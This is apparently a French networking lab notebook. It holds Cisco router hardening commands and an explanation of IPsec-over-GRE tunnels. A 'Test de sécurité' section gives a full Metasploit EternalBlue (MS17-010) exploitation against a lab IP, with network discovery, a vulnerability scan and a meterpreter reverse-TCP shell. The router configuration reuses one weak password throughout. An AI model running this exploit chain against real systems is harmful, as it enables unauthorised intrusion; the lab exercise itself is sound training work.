Configuration sur les autres équipements :

```
enable secret R1/haut
line console 0
password R1/haut
login
exit
line vty 0 4
password R1/haut
login
exit
ip domain-name R1_haut.com
crypto key generate rsa
```

prendre 2048 pour la crypto key generate rsa

```
username admin secret R1/haut
line vty 0 4
transport input ssh
login local
ip ssh version 2
service password-encryption
```

ANSII :

<https://docs.google.com/spreadsheets/d/1rq-647txgtyKY36QbCVSP5V3fuM0nbu/edit?usp=sharing&ouid=110355535778391124595&rtpof=true&sd=true>

Test de sécurité

Découverte du réseau :

pour découvrir la machine à attaquer, on tape :

- netdiscover

on trouve donc la machine a attaquer avec l'IP : 192.168.0.27

on va donc commencer par scanner les ports ouverts :

- nmap -sS -A 192.168.0.27

Exploitation des failles :

On voit qu'il y a un service SMBv1 on va donc d'abord essayer de s'y connecter à l'aide d'un client windows, puis on essayera d'exploiter la faille Eternal Blue.

on repère qu'on peut se connecter en mode anonyme sur le serveur Samba et qu'on a tout les droits; on va aussi essayer la faille Eternal Blue :

on effectue donc un scan pour voir si la faille peut être exploiter :

- nmap -p 445 --script smb-vuln-ms17-010 192.168.0.27

on voit que la faille est vulnérable, on va donc l'exploiter :

- msfconsole
- use exploit/windows/smb/ms17_010_eternalblue
- set RHOSTS 192.168.0.27
- set RPORT 445
- set PAYLOAD windows/x64/meterpreter/reverse_tcp
- set LPORT 4444
- exploit
- shell

On a donc maintenant un reverse shell, on peut donc taper les commandes que l'on veut sur le serveur.

Tunnel sécurisé IPsec GRE

1. Fonctionnement de base

Le tunnel IPsec GRE (Generic Routing Encapsulation) combine les fonctionnalités de GRE et IPsec afin d'assurer un tunnel sécurisé qui permet de transporter des paquets de différents protocoles de couche réseau.

- **GRE** encapsule les paquets IP originaux dans un nouveau paquet IP en ajoutant une entête GRE.
- **IPsec** chiffre et authentifie ces paquets GRE, assurant la confidentialité, l'intégrité et l'authenticité.

2. Encapsulation des trames

Voici le processus détaillé de l'encapsulation :

- **Paquet original** : [Entête IP original | Données]
- **Encapsulation GRE** : [Nouvel entête IP externe | Entête GRE | Entête IP original | Données]
- **Encapsulation IPsec ESP (mode tunnel)** : [Nouvel entête IP externe | Entête ESP | [Entête GRE | Entête IP original | Données chiffrées] | ESP Trailer | ESP Auth]

3. Détails techniques et négociations cryptographiques

Échange IKE (Internet Key Exchange) :

- **IKE Phase 1 (ISAKMP SA) :**
 - Mode utilisé : Main Mode
 - Authentification : PSK (Pre-Shared Key) ou Certificats PKI
 - Algorithmes : AES-256 pour le chiffrement, SHA-256 pour l'intégrité, groupe Diffie-Hellman (ex : groupe 14)
- **IKE Phase 2 (IPsec SA) :**
 - Mode Quick Mode
 - Algorithmes : AES-GCM-256 (chiffrement authentifié recommandé) ou AES-256 avec SHA-256 pour l'intégrité
 - Négociation de la Security Association (SA) : Paramètres de chiffrement, durée de vie (ex : 3600 secondes)

4. Associations de sécurité (SA)

- **SA IPsec :**
 - Définit les clés symétriques pour le chiffrement et l'intégrité.
 - Exemple de paramètres : AES-256, SHA-256, durée de vie 3600 secondes.

- **SA IKE :**
 - Gère la négociation des clés (via Diffie-Hellman)
 - Renouvellement automatique des clés après expiration de la durée de vie

5. Gestion MTU et fragmentation

- Ajustement MTU :
 - MTU optimal recommandé : 1400 bytes (typique)
 - Utilisation du TCP MSS Clamp (ex : 1360 bytes) pour éviter fragmentation excessive.

6. Configuration réseau et pare-feu

- Ouverture des ports suivants sur pare-feu :
 - UDP 500 (IKE)
 - UDP 4500 (NAT-T)
 - Protocoles : ESP (50), GRE (47)

